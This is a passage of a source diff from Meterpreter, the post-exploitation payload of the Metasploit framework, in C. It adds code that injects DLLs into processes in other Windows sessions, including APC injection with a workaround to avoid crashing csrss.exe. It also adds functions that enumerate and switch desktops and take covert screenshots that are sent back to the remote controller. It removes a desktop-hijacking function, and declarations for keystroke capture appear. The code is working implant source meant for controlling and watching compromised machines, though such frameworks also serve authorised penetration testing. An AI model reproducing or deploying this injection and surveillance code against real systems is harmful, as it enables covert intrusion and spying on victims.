// On Windows 2008R2 we Blue Screen the box if we inject via APC injection
|
||||||
|
// into the target sessions instance of csrss.exe!!! so we filter it out...
|
||||||
|
if( strstr( pe32.szExeFile, "csrss.exe" ) )
|
||||||
|
continue;
|
||||||
|
|
||||||
|
dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer, cpCommandLine );
|
||||||
|
if( dwResult == ERROR_SUCCESS )
|
||||||
|
{
|
||||||
|
dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} while( pProcess32Next( hProcessSnap, &pe32 ) );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hProcessSnap )
|
||||||
|
CloseHandle( hProcessSnap );
|
||||||
|
|
||||||
|
if( hKernel )
|
||||||
|
FreeLibrary( hKernel );
|
||||||
|
|
||||||
|
// On NT4 we must brute force the process list...
|
||||||
|
if( bUseBruteForce )
|
||||||
|
dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer, cpCommandLine );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,15 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_SESSION_PS_H
|
||||||
|
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_SESSION_PS_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "./process/ps.h"
|
||||||
|
|
||||||
|
DWORD session_id( DWORD dwProcessId );
|
||||||
|
|
||||||
|
DWORD session_activeid();
|
||||||
|
|
||||||
|
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, char * cpCommandLine );
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,440 @@
|
||||||
|
#include "precomp.h"
|
||||||
|
#include "./../sys/session.h"
|
||||||
|
#include "./../sys/process/ps.h"
|
||||||
|
|
||||||
|
typedef struct _DESKTOPLIST
|
||||||
|
{
|
||||||
|
DWORD dwSessionId;
|
||||||
|
char * cpStationName;
|
||||||
|
Packet * response;
|
||||||
|
} DESKTOPLIST, *LPDESKTOPLIST;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Callback function for EnumDesktops when listing desktops on a station during desktop_list().
|
||||||
|
*/
|
||||||
|
BOOL CALLBACK desktop_enumdesktops_callback( LPTSTR cpDesktopName, LPARAM lpParam )
|
||||||
|
{
|
||||||
|
DESKTOPLIST * dl = NULL;
|
||||||
|
Tlv entry[3] = {0};
|
||||||
|
DWORD dwSessionId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dl = (DESKTOPLIST *)lpParam;
|
||||||
|
if( !dl )
|
||||||
|
break;
|
||||||
|
|
||||||
|
if( !dl->cpStationName || !dl->response || !cpDesktopName )
|
||||||
|
break;
|
||||||
|
|
||||||
|
dwSessionId = htonl( dl->dwSessionId );
|
||||||
|
|
||||||
|
entry[0].header.type = TLV_TYPE_DESKTOP_SESSION;
|
||||||
|
entry[0].header.length = sizeof(DWORD);
|
||||||
|
entry[0].buffer = (PUCHAR)&dwSessionId;
|
||||||
|
|
||||||
|
entry[1].header.type = TLV_TYPE_DESKTOP_STATION;
|
||||||
|
entry[1].header.length = (DWORD)(strlen(dl->cpStationName) + 1);
|
||||||
|
entry[1].buffer = (PUCHAR)dl->cpStationName;
|
||||||
|
|
||||||
|
entry[2].header.type = TLV_TYPE_DESKTOP_NAME;
|
||||||
|
entry[2].header.length = (DWORD)(strlen(cpDesktopName) + 1);
|
||||||
|
entry[2].buffer = (PUCHAR)cpDesktopName;
|
||||||
|
|
||||||
|
packet_add_tlv_group( dl->response, TLV_TYPE_DESKTOP, entry, 3 );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Callback function for EnumWindowStations when listing stations during request_ui_desktop_enum().
|
||||||
|
*/
|
||||||
|
BOOL CALLBACK desktop_enumstations_callback( LPTSTR cpStationName, LPARAM param )
|
||||||
|
{
|
||||||
|
HWINSTA hWindowStation = NULL;
|
||||||
|
DESKTOPLIST dl = {0};
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
hWindowStation = OpenWindowStation( cpStationName, FALSE, MAXIMUM_ALLOWED ); // WINSTA_ALL_ACCESS
|
||||||
|
if( !hWindowStation )
|
||||||
|
break;
|
||||||
|
|
||||||
|
dl.dwSessionId = session_id( GetCurrentProcessId() );
|
||||||
|
dl.response = (Packet *)param;
|
||||||
|
dl.cpStationName = cpStationName;
|
||||||
|
|
||||||
|
EnumDesktops( hWindowStation, desktop_enumdesktops_callback, (LPARAM)&dl );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hWindowStation )
|
||||||
|
CloseWindowStation( hWindowStation );
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Enumerate all accessible desktops on all stations.
|
||||||
|
*/
|
||||||
|
DWORD request_ui_desktop_enum( Remote * remote, Packet * request )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
Packet * response = NULL;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
response = packet_create_response( request );
|
||||||
|
if( !response )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_enum. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
EnumWindowStations( desktop_enumstations_callback, (LPARAM)response );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( response )
|
||||||
|
packet_transmit_response( dwResult, remote, response );
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Get the session/windows station/desktop we are currently using.
|
||||||
|
*/
|
||||||
|
DWORD request_ui_desktop_get( Remote * remote, Packet * request )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
Packet * response = NULL;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
response = packet_create_response( request );
|
||||||
|
if( !response )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_get. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
lock_acquire( remote->lock );
|
||||||
|
|
||||||
|
packet_add_tlv_uint( response, TLV_TYPE_DESKTOP_SESSION, remote->dwCurrentSessionId );
|
||||||
|
packet_add_tlv_string( response, TLV_TYPE_DESKTOP_STATION, remote->cpCurrentStationName );
|
||||||
|
packet_add_tlv_string( response, TLV_TYPE_DESKTOP_NAME, remote->cpCurrentDesktopName );
|
||||||
|
|
||||||
|
lock_release( remote->lock );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( response )
|
||||||
|
packet_transmit_response( dwResult, remote, response );
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Set this process to use a specified window station and this thread to use
|
||||||
|
* a specified desktop.
|
||||||
|
*/
|
||||||
|
DWORD request_ui_desktop_set( Remote * remote, Packet * request )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
Packet * response = NULL;
|
||||||
|
char * cpDesktopName = NULL;
|
||||||
|
char * cpStationName = NULL;
|
||||||
|
HWINSTA hWindowStation = NULL;
|
||||||
|
HWINSTA hOrigWindowStation = NULL;
|
||||||
|
HDESK hDesktop = NULL;
|
||||||
|
BOOL bSwitch = FALSE;
|
||||||
|
DWORD dwSessionId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
response = packet_create_response( request );
|
||||||
|
if( !response )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_set. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
dwSessionId = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SESSION );
|
||||||
|
if( !dwSessionId )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_set. no TLV_TYPE_DESKTOP_SESSION provided", ERROR_INVALID_PARAMETER );
|
||||||
|
|
||||||
|
if( dwSessionId == -1 )
|
||||||
|
dwSessionId = session_id( GetCurrentProcessId() );
|
||||||
|
|
||||||
|
cpStationName = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_STATION );
|
||||||
|
if( !cpStationName )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_set. no TLV_TYPE_DESKTOP_STATION provided", ERROR_INVALID_PARAMETER );
|
||||||
|
|
||||||
|
cpDesktopName = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_NAME );
|
||||||
|
if( !cpDesktopName )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_set. no TLV_TYPE_DESKTOP_NAME provided", ERROR_INVALID_PARAMETER );
|
||||||
|
|
||||||
|
bSwitch = packet_get_tlv_value_bool( request, TLV_TYPE_DESKTOP_SWITCH );
|
||||||
|
|
||||||
|
dprintf( "[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch );
|
||||||
|
|
||||||
|
// If we are switching desktop in our own session we proceed with the normal Windows API
|
||||||
|
if( dwSessionId == session_id( GetCurrentProcessId() ) )
|
||||||
|
{
|
||||||
|
hWindowStation = OpenWindowStation( cpStationName, FALSE, WINSTA_ALL_ACCESS ); // WINSTA_ALL_ACCESS MAXIMUM_ALLOWED
|
||||||
|
if( !hWindowStation )
|
||||||
|
{
|
||||||
|
if( RevertToSelf() )
|
||||||
|
hWindowStation = OpenWindowStation( cpStationName, FALSE, WINSTA_ALL_ACCESS );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( !hWindowStation )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_set. Couldnt get the new Window Station", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
hOrigWindowStation = GetProcessWindowStation();
|
||||||
|
|
||||||
|
if( !SetProcessWindowStation( hWindowStation ) )
|
||||||
|
BREAK_ON_ERROR( "[UI] desktop_set. SetProcessWindowStation failed" );
|
||||||
|
|
||||||
|
hDesktop = OpenDesktop( cpDesktopName, 0, FALSE, GENERIC_ALL );
|
||||||
|
if( !hDesktop )
|
||||||
|
BREAK_ON_ERROR( "[UI] desktop_set. OpenDesktop failed" );
|
||||||
|
|
||||||
|
if( !SetThreadDesktop( hDesktop ) )
|
||||||
|
BREAK_ON_ERROR( "[UI] desktop_set. SetThreadDesktop failed" );
|
||||||
|
|
||||||
|
if( bSwitch )
|
||||||
|
{
|
||||||
|
if( !SwitchDesktop( hDesktop ) )
|
||||||
|
BREAK_ON_ERROR( "[UI] desktop_set. SwitchDesktop failed" );
|
||||||
|
}
|
||||||
|
|
||||||
|
core_update_desktop( remote, dwSessionId, cpStationName, cpDesktopName );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// if we are to use a desktop from a session which is not our own...
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_set. Currently unable to set a desktop from an external session", ERROR_ACCESS_DENIED );
|
||||||
|
}
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( response )
|
||||||
|
packet_transmit_response( dwResult, remote, response );
|
||||||
|
|
||||||
|
if( hDesktop )
|
||||||
|
CloseDesktop( hDesktop );
|
||||||
|
|
||||||
|
if( hWindowStation )
|
||||||
|
CloseWindowStation( hWindowStation );
|
||||||
|
|
||||||
|
if( hOrigWindowStation )
|
||||||
|
SetProcessWindowStation( hOrigWindowStation );
|
||||||
|
|
||||||
|
if( dwResult != ERROR_SUCCESS )
|
||||||
|
core_update_desktop( remote, -1, NULL, NULL );
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
|
||||||
|
* screenshot for the first client which connects to it.
|
||||||
|
*/
|
||||||
|
DWORD THREADCALL desktop_screenshot_thread( THREAD * thread )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||||
|
HANDLE hServerPipe = NULL;
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
char * cpNamedPipe = NULL;
|
||||||
|
Packet * response = NULL;
|
||||||
|
BYTE * pBuffer = NULL;
|
||||||
|
DWORD dwRead = 0;
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
DWORD dwTotal = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !thread )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. invalid thread", ERROR_BAD_ARGUMENTS );
|
||||||
|
|
||||||
|
cpNamedPipe = (char *)thread->parameter1;
|
||||||
|
response = (Packet *)thread->parameter2;
|
||||||
|
|
||||||
|
if( !cpNamedPipe || !response )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS );
|
||||||
|
|
||||||
|
dprintf("[UI] desktop_screenshot_thread. cpNamedPipe=%s", cpNamedPipe );
|
||||||
|
|
||||||
|
// create the named pipe for the client service to connect to
|
||||||
|
hServerPipe = CreateNamedPipe( cpNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL );
|
||||||
|
if( !hServerPipe )
|
||||||
|
BREAK_ON_ERROR( "[UI] desktop_screenshot_thread. CreateNamedPipe failed" );
|
||||||
|
|
||||||
|
while( TRUE )
|
||||||
|
{
|
||||||
|
if( event_poll( thread->sigterm, 0 ) )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD );
|
||||||
|
|
||||||
|
// wait for a client to connect to our named pipe...
|
||||||
|
if( !ConnectNamedPipe( hServerPipe, NULL ) )
|
||||||
|
{
|
||||||
|
if( GetLastError() != ERROR_PIPE_CONNECTED )
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[UI] desktop_screenshot_thread. got client conn.");
|
||||||
|
|
||||||
|
if( !ReadFile( hServerPipe, &dwLength, sizeof(DWORD), &dwRead, NULL ) )
|
||||||
|
BREAK_ON_ERROR( "[UI] desktop_screenshot_thread. ReadFile 1 failed" );
|
||||||
|
|
||||||
|
// a client can send a zero length to indicate that it cant get a screenshot.
|
||||||
|
if( !dwLength )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. dwLength == 0", ERROR_BAD_LENGTH );
|
||||||
|
|
||||||
|
pBuffer = (BYTE *)malloc( dwLength );
|
||||||
|
if( !pBuffer )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
while( dwTotal < dwLength )
|
||||||
|
{
|
||||||
|
DWORD dwAvailable = 0;
|
||||||
|
|
||||||
|
if( !PeekNamedPipe( hServerPipe, NULL, 0, NULL, &dwAvailable, NULL ) )
|
||||||
|
break;
|
||||||
|
|
||||||
|
if( !dwAvailable )
|
||||||
|
{
|
||||||
|
Sleep( 100 );
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if( !ReadFile( hServerPipe, (LPVOID)(pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL ) )
|
||||||
|
break;
|
||||||
|
|
||||||
|
dwTotal += dwRead;
|
||||||
|
}
|
||||||
|
|
||||||
|
dwResult = packet_add_tlv_raw( response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal );
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( hServerPipe )
|
||||||
|
{
|
||||||
|
DisconnectNamedPipe( hServerPipe );
|
||||||
|
CLOSE_HANDLE( hServerPipe );
|
||||||
|
}
|
||||||
|
|
||||||
|
if( pBuffer )
|
||||||
|
free( pBuffer );
|
||||||
|
|
||||||
|
dprintf( "[UI] desktop_screenshot_thread finishing, dwResult=%d", dwResult );
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Take a screenshot of the desktop and transmit the image (in JPEG format) back to the client.
|
||||||
|
*/
|
||||||
|
DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
Packet * response = NULL;
|
||||||
|
THREAD * pPipeThread = NULL;
|
||||||
|
LPVOID lpDllBuffer = NULL;
|
||||||
|
DLL_BUFFER DllBuffer = {0};
|
||||||
|
char cNamedPipe[MAX_PATH] = {0};
|
||||||
|
char cCommandLine[MAX_PATH] = {0};
|
||||||
|
int quality = 0;
|
||||||
|
DWORD dwDllLength = 0;
|
||||||
|
DWORD dwPipeName = 0;
|
||||||
|
DWORD dwCurrentSessionId = 0;
|
||||||
|
DWORD dwActiveSessionId = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
response = packet_create_response( request );
|
||||||
|
if( !response )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
quality = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY );
|
||||||
|
if( quality < 1 || quality > 100 )
|
||||||
|
quality = 50;
|
||||||
|
|
||||||
|
// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
|
||||||
|
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system
|
||||||
|
// we dont need to send the x64 screenshot dll as there will be no x64 processes to inject it into.
|
||||||
|
DllBuffer.dwPE32DllLenght = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH );
|
||||||
|
DllBuffer.lpPE32DllBuffer = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER );
|
||||||
|
|
||||||
|
DllBuffer.dwPE64DllLenght = packet_get_tlv_value_uint( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH );
|
||||||
|
DllBuffer.lpPE64DllBuffer = packet_get_tlv_value_string( request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER );
|
||||||
|
|
||||||
|
if( !DllBuffer.lpPE32DllBuffer && !DllBuffer.lpPE64DllBuffer )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. Invalid dll arguments, at least 1 dll must be supplied", ERROR_BAD_ARGUMENTS );
|
||||||
|
|
||||||
|
// get the session id that our host process belongs to
|
||||||
|
dwCurrentSessionId = session_id( GetCurrentProcessId() );
|
||||||
|
|
||||||
|
// get the session id for the interactive session
|
||||||
|
dwActiveSessionId = session_activeid();
|
||||||
|
|
||||||
|
// create a uniuqe pipe name for our named pipe server
|
||||||
|
dwPipeName = GetTickCount();
|
||||||
|
|
||||||
|
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );
|
||||||
|
|
||||||
|
// create the commandline to pass to the screenshot dll when we inject it
|
||||||
|
_snprintf( cCommandLine, MAX_PATH, "/s /q:%d /p:0x%08X\x00", quality, dwPipeName );
|
||||||
|
|
||||||
|
dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine );
|
||||||
|
|
||||||
|
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
|
||||||
|
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response );
|
||||||
|
if( !pPipeThread )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
if( !thread_run( pPipeThread ) )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_run failed", ERROR_ACCESS_DENIED );
|
||||||
|
|
||||||
|
Sleep( 500 );
|
||||||
|
|
||||||
|
// do the local process or session injection
|
||||||
|
if( dwCurrentSessionId != dwActiveSessionId )
|
||||||
|
{
|
||||||
|
dprintf( "[UI] desktop_screenshot. Injecting into active session %d...\n", dwActiveSessionId );
|
||||||
|
if( session_inject( dwActiveSessionId, &DllBuffer, cCommandLine ) != ERROR_SUCCESS )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. session_inject failed", ERROR_ACCESS_DENIED );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dprintf( "[UI] desktop_screenshot. Allready in the active session %d.\n", dwActiveSessionId );
|
||||||
|
if( ps_inject( GetCurrentProcessId(), &DllBuffer, cCommandLine ) != ERROR_SUCCESS )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. ps_inject current process failed", ERROR_ACCESS_DENIED );
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for at most 30 seconds for the screenshot to happen...
|
||||||
|
// If we have injected our code via APC injection, it may take a while for the target
|
||||||
|
// thread to enter an alertable state and get our queued APC executed.
|
||||||
|
WaitForSingleObject( pPipeThread->handle, 30000 );
|
||||||
|
|
||||||
|
// signal our thread to terminate if it is still running.
|
||||||
|
thread_sigterm( pPipeThread );
|
||||||
|
|
||||||
|
// and wait for it to terminate...
|
||||||
|
thread_join( pPipeThread );
|
||||||
|
|
||||||
|
// get the exit code for our pthread
|
||||||
|
if( !GetExitCodeThread( pPipeThread->handle, &dwResult ) )
|
||||||
|
BREAK_WITH_ERROR( "[UI] desktop_screenshot. GetExitCodeThread failed", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( response )
|
||||||
|
packet_transmit_response( dwResult, remote, response );
|
||||||
|
|
||||||
|
if( pPipeThread )
|
||||||
|
{
|
||||||
|
thread_sigterm( pPipeThread );
|
||||||
|
thread_join( pPipeThread );
|
||||||
|
thread_destroy( pPipeThread );
|
||||||
|
}
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
|
@ -37,60 +37,6 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request)
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Hijacks the active input desktop
|
|
||||||
*/
|
|
||||||
DWORD request_ui_grabdesktop(Remote *remote, Packet *request)
|
|
||||||
{
|
|
||||||
Packet *response = packet_create_response(request);
|
|
||||||
DWORD result = ERROR_SUCCESS;
|
|
||||||
DWORD failed = 0;
|
|
||||||
|
|
||||||
HDESK desk;
|
|
||||||
HWINSTA os = GetProcessWindowStation();
|
|
||||||
HWINSTA ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED);
|
|
||||||
|
|
||||||
if (ws == NULL) {
|
|
||||||
// This call to RevertToSelf() is sometimes necessary
|
|
||||||
RevertToSelf();
|
|
||||||
ws = OpenWindowStation("winsta0", TRUE, MAXIMUM_ALLOWED);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ws == NULL) {
|
|
||||||
failed = 1;
|
|
||||||
} else {
|
|
||||||
if (! SetProcessWindowStation(ws)) {
|
|
||||||
ws = NULL;
|
|
||||||
failed = 1;
|
|
||||||
} else {
|
|
||||||
// Close this to prevent the old handle from being used instead
|
|
||||||
CloseWindowStation(os);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
desk = OpenInputDesktop(0, TRUE, MAXIMUM_ALLOWED);
|
|
||||||
if (ws && desk == NULL) {
|
|
||||||
CloseHandle(ws);
|
|
||||||
failed = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (desk && ! SwitchDesktop(desk)) {
|
|
||||||
CloseHandle(ws);
|
|
||||||
CloseHandle(desk);
|
|
||||||
failed = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
SetThreadDesktop(desk);
|
|
||||||
|
|
||||||
if (failed) result = GetLastError();
|
|
||||||
|
|
||||||
// Transmit the response
|
|
||||||
packet_transmit_response(result, remote, response);
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
typedef enum { false=0, true=1 } bool;
|
typedef enum { false=0, true=1 } bool;
|
||||||
|
|
||||||
bool boom[1024];
|
bool boom[1024];
|
||||||
|
|
|
@ -7,9 +7,13 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request);
|
||||||
DWORD request_ui_enable_mouse(Remote *remote, Packet *request);
|
DWORD request_ui_enable_mouse(Remote *remote, Packet *request);
|
||||||
DWORD request_ui_get_idle_time(Remote *remote, Packet *request);
|
DWORD request_ui_get_idle_time(Remote *remote, Packet *request);
|
||||||
|
|
||||||
DWORD request_ui_grabdesktop(Remote *remote, Packet *request);
|
|
||||||
DWORD request_ui_start_keyscan(Remote *remote, Packet *request);
|
DWORD request_ui_start_keyscan(Remote *remote, Packet *request);
|
||||||
DWORD request_ui_stop_keyscan(Remote *remote, Packet *request);
|
DWORD request_ui_stop_keyscan(Remote *remote, Packet *request);
|
||||||
DWORD request_ui_get_keys(Remote *remote, Packet *request);
|
DWORD request_ui_get_keys(Remote *remote, Packet *request);
|
||||||
|
|
||||||
|
DWORD request_ui_desktop_enum( Remote * remote, Packet * request );
|
||||||
|
DWORD request_ui_desktop_get( Remote * remote, Packet * request );
|
||||||
|
DWORD request_ui_desktop_set( Remote * remote, Packet * request );
|
||||||
|
DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request );
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -67,10 +67,12 @@
|
||||||
|
|
||||||
// Process
|
// Process
|
||||||
|
|
||||||
#define PROCESS_EXECUTE_FLAG_HIDDEN (1 << 0)
|
#define PROCESS_EXECUTE_FLAG_HIDDEN (1 << 0)
|
||||||
#define PROCESS_EXECUTE_FLAG_CHANNELIZED (1 << 1)
|
#define PROCESS_EXECUTE_FLAG_CHANNELIZED (1 << 1)
|
||||||
#define PROCESS_EXECUTE_FLAG_SUSPENDED (1 << 2)
|
#define PROCESS_EXECUTE_FLAG_SUSPENDED (1 << 2)
|
||||||
#define PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN (1 << 3)
|
#define PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN (1 << 3)
|
||||||
|
#define PROCESS_EXECUTE_FLAG_DESKTOP (1 << 4)
|
||||||
|
#define PROCESS_EXECUTE_FLAG_SESSION (1 << 5)
|
||||||
|
|
||||||
#define TLV_TYPE_BASE_ADDRESS \
|
#define TLV_TYPE_BASE_ADDRESS \
|
||||||
MAKE_CUSTOM_TLV( \
|
MAKE_CUSTOM_TLV( \
|
||||||
|
@ -157,6 +159,11 @@
|
||||||
TLV_META_TYPE_UINT, \
|
TLV_META_TYPE_UINT, \
|
||||||
TLV_TYPE_EXTENSION_STDAPI, \
|
TLV_TYPE_EXTENSION_STDAPI, \
|
||||||
2307)
|
2307)
|
||||||
|
#define TLV_TYPE_PROCESS_SESSION \
|
||||||
|
MAKE_CUSTOM_TLV( \
|
||||||
|
TLV_META_TYPE_UINT, \
|
||||||
|
TLV_TYPE_EXTENSION_STDAPI, \
|
||||||
|
2308)
|
||||||
|
|
||||||
#define TLV_TYPE_IMAGE_FILE \
|
#define TLV_TYPE_IMAGE_FILE \
|
||||||
MAKE_CUSTOM_TLV( \
|
MAKE_CUSTOM_TLV( \
|
||||||
|
@ -427,6 +434,18 @@
|
||||||
TLV_TYPE_EXTENSION_STDAPI, \
|
TLV_TYPE_EXTENSION_STDAPI, \
|
||||||
3001)
|
3001)
|
||||||
|
|
||||||
|
#define TLV_TYPE_DESKTOP_SCREENSHOT MAKE_CUSTOM_TLV( TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_STDAPI, 3002 )
|
||||||
|
#define TLV_TYPE_DESKTOP_SWITCH MAKE_CUSTOM_TLV( TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_STDAPI, 3003 )
|
||||||
|
#define TLV_TYPE_DESKTOP MAKE_CUSTOM_TLV( TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_STDAPI, 3004 )
|
||||||
|
#define TLV_TYPE_DESKTOP_SESSION MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3005 )
|
||||||
|
#define TLV_TYPE_DESKTOP_STATION MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3006 )
|
||||||
|
#define TLV_TYPE_DESKTOP_NAME MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3007 )
|
||||||
|
#define TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3008 )
|
||||||
|
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3009 )
|
||||||
|
